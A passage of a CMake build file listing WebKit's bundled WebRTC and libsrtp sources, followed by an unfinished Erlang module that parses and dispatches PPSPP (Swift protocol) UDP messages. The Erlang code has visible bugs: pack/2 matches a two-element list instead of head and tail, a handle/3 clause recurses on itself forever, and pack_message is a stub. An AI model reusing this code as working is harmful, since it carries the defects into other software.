Source/webrtc/pc/session_description.cc Source/webrtc/pc/simulcast_description.cc Source/webrtc/pc/srtp_filter.cc Source/webrtc/pc/srtp_session.cc Source/webrtc/pc/srtp_transport.cc Source/webrtc/pc/stats_collector.cc Source/webrtc/pc/track_media_info_map.cc Source/webrtc/pc/transport_stats.cc Source/webrtc/pc/video_rtp_receiver.cc Source/webrtc/pc/video_rtp_track_source.cc Source/webrtc/pc/video_track.cc Source/webrtc/pc/video_track_source.cc Source/webrtc/pc/webrtc_sdp.cc Source/webrtc/pc/webrtc_session_description_factory.cc Source/webrtc/rtc_base/async_invoker.cc Source/webrtc/rtc_base/async_packet_socket.cc Source/webrtc/rtc_base/async_resolver_interface.cc Source/webrtc/rtc_base/async_socket.cc Source/webrtc/rtc_base/async_tcp_socket.cc Source/webrtc/rtc_base/async_udp_socket.cc Source/webrtc/rtc_base/bit_buffer.cc Source/webrtc/rtc_base/buffer_queue.cc Source/webrtc/rtc_base/byte_buffer.cc Source/webrtc/rtc_base/checks.cc Source/webrtc/rtc_base/copy_on_write_buffer.cc Source/webrtc/rtc_base/cpu_time.cc Source/webrtc/rtc_base/crc32.cc Source/webrtc/rtc_base/critical_section.cc Source/webrtc/rtc_base/crypt_string.cc Source/webrtc/rtc_base/data_rate_limiter.cc Source/webrtc/rtc_base/event.cc Source/webrtc/rtc_base/event_tracer.cc Source/webrtc/rtc_base/experiments/alr_experiment.cc Source/webrtc/rtc_base/experiments/balanced_degradation_settings.cc Source/webrtc/rtc_base/experiments/cpu_speed_experiment.cc Source/webrtc/rtc_base/experiments/experimental_screenshare_settings.cc Source/webrtc/rtc_base/experiments/field_trial_list.cc Source/webrtc/rtc_base/experiments/field_trial_parser.cc Source/webrtc/rtc_base/experiments/field_trial_units.cc Source/webrtc/rtc_base/experiments/jitter_upper_bound_experiment.cc Source/webrtc/rtc_base/experiments/keyframe_interval_settings.cc Source/webrtc/rtc_base/experiments/min_video_bitrate_experiment.cc Source/webrtc/rtc_base/experiments/normalize_simulcast_size_experiment.cc Source/webrtc/rtc_base/experiments/quality_rampup_experiment.cc Source/webrtc/rtc_base/experiments/quality_scaler_settings.cc Source/webrtc/rtc_base/experiments/quality_scaling_experiment.cc Source/webrtc/rtc_base/experiments/rate_control_settings.cc Source/webrtc/rtc_base/experiments/rtt_mult_experiment.cc Source/webrtc/rtc_base/experiments/stable_target_rate_experiment.cc Source/webrtc/rtc_base/experiments/struct_parameters_parser.cc Source/webrtc/rtc_base/fake_clock.cc Source/webrtc/rtc_base/fake_ssl_identity.cc Source/webrtc/rtc_base/file_rotating_stream.cc Source/webrtc/rtc_base/firewall_socket_server.cc Source/webrtc/rtc_base/helpers.cc Source/webrtc/rtc_base/http_common.cc Source/webrtc/rtc_base/ifaddrs_android.cc Source/webrtc/rtc_base/ifaddrs_converter.cc Source/webrtc/rtc_base/ip_address.cc Source/webrtc/rtc_base/location.cc Source/webrtc/rtc_base/log_sinks.cc Source/webrtc/rtc_base/logging.cc Source/webrtc/rtc_base/memory/aligned_malloc.cc Source/webrtc/rtc_base/memory/fifo_buffer.cc Source/webrtc/rtc_base/memory_stream.cc Source/webrtc/rtc_base/memory_usage.cc Source/webrtc/rtc_base/message_digest.cc Source/webrtc/rtc_base/message_handler.cc Source/webrtc/rtc_base/nat_server.cc Source/webrtc/rtc_base/nat_socket_factory.cc Source/webrtc/rtc_base/nat_types.cc Source/webrtc/rtc_base/net_helper.cc Source/webrtc/rtc_base/net_helpers.cc Source/webrtc/rtc_base/network.cc Source/webrtc/rtc_base/network_monitor.cc Source/webrtc/rtc_base/network/sent_packet.cc Source/webrtc/rtc_base/null_socket_server.cc Source/webrtc/rtc_base/numerics/event_based_exponential_moving_average.cc Source/webrtc/rtc_base/numerics/event_rate_counter.cc Source/webrtc/rtc_base/numerics/exp_filter.cc Source/webrtc/rtc_base/numerics/histogram_percentile_counter.cc Source/webrtc/rtc_base/numerics/moving_average.cc Source/webrtc/rtc_base/numerics/sample_counter.cc Source/webrtc/rtc_base/numerics/samples_stats_counter.cc Source/webrtc/rtc_base/numerics/sample_stats.cc Source/webrtc/rtc_base/openssl_adapter.cc Source/webrtc/rtc_base/openssl_certificate.cc Source/webrtc/rtc_base/openssl_digest.cc Source/webrtc/rtc_base/openssl_identity.cc Source/webrtc/rtc_base/openssl_session_cache.cc Source/webrtc/rtc_base/openssl_stream_adapter.cc Source/webrtc/rtc_base/openssl_utility.cc Source/webrtc/rtc_base/operations_chain.cc Source/webrtc/rtc_base/physical_socket_server.cc Source/webrtc/rtc_base/platform_thread.cc Source/webrtc/rtc_base/platform_thread_types.cc Source/webrtc/rtc_base/proxy_info.cc Source/webrtc/rtc_base/proxy_server.cc Source/webrtc/rtc_base/race_checker.cc Source/webrtc/rtc_base/random.cc Source/webrtc/rtc_base/rate_limiter.cc Source/webrtc/rtc_base/rate_statistics.cc Source/webrtc/rtc_base/rate_tracker.cc Source/webrtc/rtc_base/rtc_certificate.cc Source/webrtc/rtc_base/rtc_certificate_generator.cc Source/webrtc/rtc_base/server_socket_adapters.cc Source/webrtc/rtc_base/signal_thread.cc Source/webrtc/rtc_base/socket.cc Source/webrtc/rtc_base/socket_adapters.cc Source/webrtc/rtc_base/socket_address.cc Source/webrtc/rtc_base/socket_address_pair.cc Source/webrtc/rtc_base/socket_stream.cc Source/webrtc/rtc_base/ssl_adapter.cc Source/webrtc/rtc_base/ssl_certificate.cc Source/webrtc/rtc_base/ssl_fingerprint.cc Source/webrtc/rtc_base/ssl_identity.cc Source/webrtc/rtc_base/ssl_stream_adapter.cc Source/webrtc/rtc_base/stream.cc Source/webrtc/rtc_base/string_encode.cc Source/webrtc/rtc_base/strings/audio_format_to_string.cc Source/webrtc/rtc_base/strings/string_builder.cc Source/webrtc/rtc_base/string_to_number.cc Source/webrtc/rtc_base/string_utils.cc Source/webrtc/rtc_base/synchronization/rw_lock_posix.cc Source/webrtc/rtc_base/synchronization/rw_lock_wrapper.cc Source/webrtc/rtc_base/synchronization/sequence_checker.cc Source/webrtc/rtc_base/synchronization/yield_policy.cc Source/webrtc/rtc_base/system/file_wrapper.cc Source/webrtc/rtc_base/task_queue.cc Source/webrtc/rtc_base/task_queue_stdlib.cc Source/webrtc/rtc_base/task_utils/repeating_task.cc Source/webrtc/rtc_base/third_party/base64/base64.cc Source/webrtc/rtc_base/third_party/sigslot/sigslot.cc Source/webrtc/rtc_base/thread.cc Source/webrtc/rtc_base/time/timestamp_extrapolator.cc Source/webrtc/rtc_base/timestamp_aligner.cc Source/webrtc/rtc_base/time_utils.cc Source/webrtc/rtc_base/unique_id_generator.cc Source/webrtc/rtc_base/weak_ptr.cc Source/webrtc/rtc_base/zero_memory.cc Source/webrtc/rtc_tools/rtp_generator/rtp_generator.cc Source/webrtc/stats/rtc_stats.cc Source/webrtc/stats/rtcstats_objects.cc Source/webrtc/stats/rtc_stats_report.cc Source/webrtc/system_wrappers/source/clock.cc Source/webrtc/system_wrappers/source/cpu_features.cc Source/webrtc/system_wrappers/source/cpu_info.cc Source/webrtc/system_wrappers/source/field_trial.cc Source/webrtc/system_wrappers/source/metrics.cc Source/webrtc/system_wrappers/source/rtp_to_ntp_estimator.cc Source/webrtc/system_wrappers/source/sleep.cc Source/webrtc/test/encoder_settings.cc Source/webrtc/test/field_trial.cc Source/webrtc/test/testsupport/file_utils.cc Source/webrtc/video/adaptation/adaptation_counters.cc Source/webrtc/video/adaptation/encode_usage_resource.cc Source/webrtc/video/adaptation/overuse_frame_detector.cc Source/webrtc/video/adaptation/quality_scaler_resource.cc Source/webrtc/video/adaptation/resource_adaptation_processor.cc Source/webrtc/video/adaptation/video_stream_adapter.cc Source/webrtc/video/buffered_frame_decryptor.cc Source/webrtc/video/call_stats.cc Source/webrtc/video/encoder_bitrate_adjuster.cc Source/webrtc/video/encoder_overshoot_detector.cc Source/webrtc/video/encoder_rtcp_feedback.cc Source/webrtc/video/frame_dumping_decoder.cc Source/webrtc/video/frame_encode_metadata_writer.cc Source/webrtc/video/quality_limitation_reason_tracker.cc Source/webrtc/video/quality_threshold.cc Source/webrtc/video/receive_statistics_proxy.cc Source/webrtc/video/report_block_stats.cc Source/webrtc/video/rtp_streams_synchronizer.cc Source/webrtc/video/rtp_video_stream_receiver.cc Source/webrtc/video/rtp_video_stream_receiver_frame_transformer_delegate.cc Source/webrtc/video/send_delay_stats.cc Source/webrtc/video/send_statistics_proxy.cc Source/webrtc/video/stats_counter.cc Source/webrtc/video/stream_synchronization.cc Source/webrtc/video/transport_adapter.cc Source/webrtc/video/video_quality_observer.cc Source/webrtc/video/video_receive_stream.cc Source/webrtc/video/video_send_stream.cc Source/webrtc/video/video_send_stream_impl.cc Source/webrtc/video/video_source_sink_controller.cc Source/webrtc/video/video_stream_decoder.cc Source/webrtc/video/video_stream_decoder_impl.cc Source/webrtc/video/video_stream_encoder.cc $<TARGET_OBJECTS:libsrtp> ) if (WTF_CPU_X86_64 OR WTF_CPU_X86) list(APPEND webrtc_SOURCES Source/webrtc/common_audio/fir_filter_sse.cc Source/webrtc/common_audio/resampler/sinc_resampler_sse.cc Source/webrtc/modules/audio_processing/utility/ooura_fft_sse2.cc Source/webrtc/modules/video_processing/util/denoiser_filter_sse2.cc ) endif() add_library(webrtc STATIC ${webrtc_SOURCES}) target_compile_options(webrtc PRIVATE "$<$<COMPILE_LANGUAGE:CXX>:-std=gnu++11>" "-UHAVE_CONFIG_H" "-DWEBRTC_WEBKIT_BUILD=1" "-w" ) target_compile_definitions(webrtc PRIVATE OPENSSL_NO_ASM DISABLE_H265 DYNAMIC_ANNOTATIONS_ENABLED=1 EXPAT_RELATIVE_PATH HAVE_LRINT HAVE_LRINTF HAVE_NETINET_IN_H HAVE_SCTP HAVE_WEBRTC_VIDEO HAVE_WEBRTC_VOICE JSON_USE_EXCEPTION=0 NON_WINDOWS_DEFINE OPUS_BUILD OPUS_EXPORT= SCTP_PROCESS_LEVEL_LOCKS SCTP_SIMPLE_ALLOCATOR SCTP_USE_OPENSSL_SHA1 VAR_ARRAYS WEBRTC_APM_DEBUG_DUMP=0 WEBRTC_CODEC_G711 WEBRTC_CODEC_G722 WEBRTC_CODEC_ILBC WEBRTC_CODEC_ISAC WEBRTC_CODEC_OPUS WEBRTC_CODEC_RED WEBRTC_INCLUDE_INTERNAL_AUDIO_DEVICE WEBRTC_INTELLIGIBILITY_ENHANCER=0 WEBRTC_LINUX WEBRTC_NS_FLOAT WEBRTC_OPUS_SUPPORT_120MS_PTIME=0 WEBRTC_OPUS_VARIABLE_COMPLEXITY=0 WEBRTC_USE_BUILTIN_OPUS=1 WEBRTC_POSIX WEBRTC_USE_BUILTIN_ISAC_FIX=1 WEBRTC_USE_BUILTIN_ISAC_FLOAT=0 WTF_USE_DYNAMIC_ANNOTATIONS=1 LINUX_ALSA RTC_DISABLE_VP9 _GNU_SOURCE __Userspace__ __Userspace_os_Linux ) if (WTF_CPU_ARM) target_compile_definitions(webrtc PRIVATE WEBRTC_ARCH_ARM=1 ) elseif (WTF_CPU_ARM64) target_compile_definitions(webrtc PRIVATE WEBRTC_ARCH_ARM64=1 ) endif() target_include_directories(webrtc PRIVATE Source Source/third_party/abseil-cpp Source/third_party/boringssl/src/include Source/third_party/jsoncpp/generated Source/third_party/jsoncpp/overrides/include Source/third_party/jsoncpp/source/include Source/third_party/jsoncpp/source/src/lib_json Source/third_party/libsrtp/config Source/third_party/libsrtp/crypto/include Source/third_party/libsrtp/include Source/third_party/libyuv/include Source/third_party/opus/src/celt Source/third_party/opus/src/include Source/third_party/opus/src/silk Source/third_party/opus/src/silk/float Source/third_party/usrsctp Source/third_party/usrsctp/usrsctplib Source/third_party/usrsctp/usrsctplib/usrsctplib Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet Source/webrtc Source/webrtc/common_audio/resampler/include Source/webrtc/common_audio/signal_processing/include Source/webrtc/common_audio/vad/include Source/webrtc/modules/audio_coding/codecs/isac/main/include ) target_link_libraries(webrtc ${LIBVPX_LIBRARY}) target_link_libraries(webrtc ${LIBEVENT_LIBRARY}) target_link_libraries(webrtc ${LIBOPUS_LIBRARY}) # libsrtp package compilation set(libsrtp_SOURCES Source/third_party/libsrtp/crypto/cipher/aes_gcm_ossl.c Source/third_party/libsrtp/crypto/cipher/aes_icm_ossl.c Source/third_party/libsrtp/crypto/cipher/cipher.c Source/third_party/libsrtp/crypto/cipher/null_cipher.c Source/third_party/libsrtp/crypto/hash/auth.c Source/third_party/libsrtp/crypto/hash/hmac_ossl.c Source/third_party/libsrtp/crypto/hash/null_auth.c Source/third_party/libsrtp/crypto/kernel/alloc.c Source/third_party/libsrtp/crypto/kernel/crypto_kernel.c Source/third_party/libsrtp/crypto/kernel/err.c Source/third_party/libsrtp/crypto/kernel/key.c Source/third_party/libsrtp/crypto/math/datatypes.c Source/third_party/libsrtp/crypto/math/stat.c Source/third_party/libsrtp/crypto/replay/rdb.c Source/third_party/libsrtp/crypto/replay/rdbx.c Source/third_party/libsrtp/srtp/ekt.c Source/third_party/libsrtp/srtp/srtp.c ) add_library(libsrtp OBJECT ${libsrtp_SOURCES}) target_compile_options(libsrtp PRIVATE "-w" ) target_compile_definitions(libsrtp PRIVATE HAVE_ARPA_INET_H HAVE_CONFIG_H HAVE_INT16_T HAVE_INT32_T HAVE_INT8_T HAVE_INTTYPES_H HAVE_NETINET_IN_H HAVE_STDINT_H HAVE_STDLIB_H HAVE_STRING_H HAVE_SYS_TYPES_H HAVE_UINT16_T HAVE_UINT32_T HAVE_UINT64_T HAVE_UINT8_T HAVE_UNISTD_H OPENSSL PACKAGE_STRING="libsrtp2 2.1.0-pre" PACKAGE_VERSION="2.1.0-pre" ) target_include_directories(libsrtp PRIVATE Source/third_party/boringssl/src/include Source/third_party/libsrtp Source/third_party/libsrtp/config Source/third_party/libsrtp/crypto/include Source/third_party/libsrtp/include )
{ "pile_set_name": "Github" }
%% -*- tab-width: 4;erlang-indent-level: 4;indent-tabs-mode: nil -*- %% ex: ft=erlang ts=4 sw=4 et %% Licensed under the Apache License, Version 2.0 (the "License"); you may not %% use this file except in compliance with the License. You may obtain a copy of %% the License at %% %% http://www.apache.org/licenses/LICENSE-2.0 %% %% Unless required by applicable law or agreed to in writing, software %% distributed under the License is distributed on an "AS IS" BASIS, WITHOUT %% WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the %% License for the specific language governing permissions and limitations under %% the License. %% @doc Library for PPSPP over UDP, aka Swift protocol %% %% This module implements a library of functions necessary to %% handle the wire-protocol of PPSPP over UDP, including %% functions for encoding and decoding messages. %% @end -module(ppspp_message). -include("swirl.hrl"). %% api -export([unpack/2, pack/1, get_message_type/1, handle/3]). -opaque messages() :: list(message()). %% TODO once all messages are defined then tighten the message() spec -opaque message() :: #{message_type() => any()} | ppspp_handshake:handshake() | ppspp_have:have(). -opaque message_type() :: handshake | data | ack | have | integrity | pex_resv4 | pex_req | signed_integrity | request | cancel | choke | unchoke | pex_resv6 | pex_rescert. -export_type([messages/0, message/0, message_type/0]). %% @doc unpack binary into a PPSPP message using erlang term format. %% Deconstruct PPSPP UDP datagram into multiple erlang terms, including %% parsing any additional data within the same segment. Any parsing failure %% is fatal and will propagate back to the attempted datagram unpacking. %% @end -spec unpack(binary(), ppspp_options:options()) -> message() | messages(). unpack(Maybe_Messages, Swarm_Options) when is_binary(Maybe_Messages) -> unpack3(Maybe_Messages, [], Swarm_Options). %% @doc convert a list of messages into binary iolist for transmission. %% @end -spec pack(messages()) -> iolist(). pack(Messages) -> pack(Messages, []). %% private -spec pack(messages(), iolist()) -> iolist(). %% Try to pack another valid message, peeling off and parsing %% recursively the remainder, accumulating valid (packed) messages. %% A failure anywhere in a message ultimately causes the entire iolist %% to be rejected. pack([Message, Rest], Messages) -> pack(Rest, [pack_message(Message) | Messages]); %% if head binary is empty, all messages were packed successfully pack([], Messages) -> lists:reverse(Messages). %% @doc dispatches messages to module that knows how to pack that format %% TODO %% @end -spec pack_message(message()) -> binary(). pack_message(_Message) -> <<>>. %% if the binary is empty, all messages were parsed successfully -spec unpack3(binary(), message() | messages(), ppspp_options:options()) -> messages() | { message(), binary()}. unpack3( <<>>, Parsed_Messages, _) -> lists:reverse(Parsed_Messages); %% otherwise try to unpack another valid message, peeling off and parsing %% recursively the remainder, accumulating valid (parsed) messages. %% A failure anywhere in a message ultimately causes the entire datagram %% to be rejected. unpack3(<<Maybe_Message_Type:?PPSPP_MESSAGE_SIZE, Rest/binary>>, Parsed_Messages, Swarm_Options) -> Type = get_message_type(Maybe_Message_Type), {Parsed_Message, Maybe_More_Messages} = parse_message(Type, Rest, Swarm_Options), New_Message = #{ Type => Parsed_Message}, unpack3(Maybe_More_Messages, [ New_Message | Parsed_Messages], Swarm_Options). %% @doc dispatch to correct message parser along with swarm options %% @end -spec parse_message(message_type(), binary(), ppspp_options:options()) -> {message(), binary()} | {error, atom()}. parse_message(handshake, Binary, _) -> ppspp_handshake:unpack(Binary); parse_message(have, Binary, Swarm_Options) -> Chunk_Method = ppspp_options:get_chunk_addressing_method(Swarm_Options), ppspp_have:unpack(Chunk_Method, Binary); parse_message(Message_Type, Binary, Options) -> {error, {ppspp_unsupported_message_type, [Message_Type, Binary, Options]}}. %% @doc retrieve message type based on IETF spec %% @end -spec get_message_type(non_neg_integer()) -> message_type(). get_message_type(Maybe_Message_Type) when is_integer(Maybe_Message_Type), Maybe_Message_Type < ?PPSPP_MAXIMUM_MESSAGE_TYPE -> %% message types in the current spec version Message_Type = case <<Maybe_Message_Type:?PPSPP_MESSAGE_SIZE>> of ?HANDSHAKE -> handshake; ?DATA -> data; ?ACK -> ack; ?HAVE -> have; ?INTEGRITY -> integrity; ?PEX_RESv4 -> pex_resv4; ?PEX_REQ -> pex_req; ?SIGNED_INTEGRITY -> signed_integrity; ?REQUEST -> request; ?CANCEL -> cancel; ?CHOKE -> choke; ?UNCHOKE -> unchoke; ?PEX_RESv6 -> pex_resv6; ?PEX_REScert -> pex_rescert end, ?DEBUG("message: parser got valid message type ~p~n", [Message_Type]), Message_Type. %% @doc dispatch messages to correct handler in received order %% @end -spec handle(messages(), ppspp_options:options(), ppspp_datagram:endpoint()) -> ok. handle([], _, _ ) -> ok; handle([Message | Messages], Swarm_Options, Endpoint) -> ok = handle_message(Message, Swarm_Options, Endpoint), handle(Messages, Swarm_Options, Endpoint); handle(Messages, Swarm_Options, Endpoint) -> handle(Messages, Swarm_Options, Endpoint). %% @doc does the dirty work of routing each message. %% Options and Endpoint are required state for handling many message types. %% @end -spec handle_message(message(), ppspp_options:options(), ppspp_datagram:endpoint()) -> ok | {error, any()}. handle_message(#{handshake := Handshake}, _Swarm_Options, Endpoint) -> ppspp_handshake:handle(Handshake, Endpoint); handle_message(#{have := Have}, _Swarm_Options, _Endpoint) -> ppspp_have:handle(Have); handle_message(Message, Swarm_Options, Endpoint) -> ?DEBUG("~p: handler not yet implemented ~n~p~n~p~n~p~n", [?MODULE, Message, Swarm_Options, Endpoint]), %{error, ppspp_message_handler_not_yet_implemented}. ok.
{ "pile_set_name": "Github" }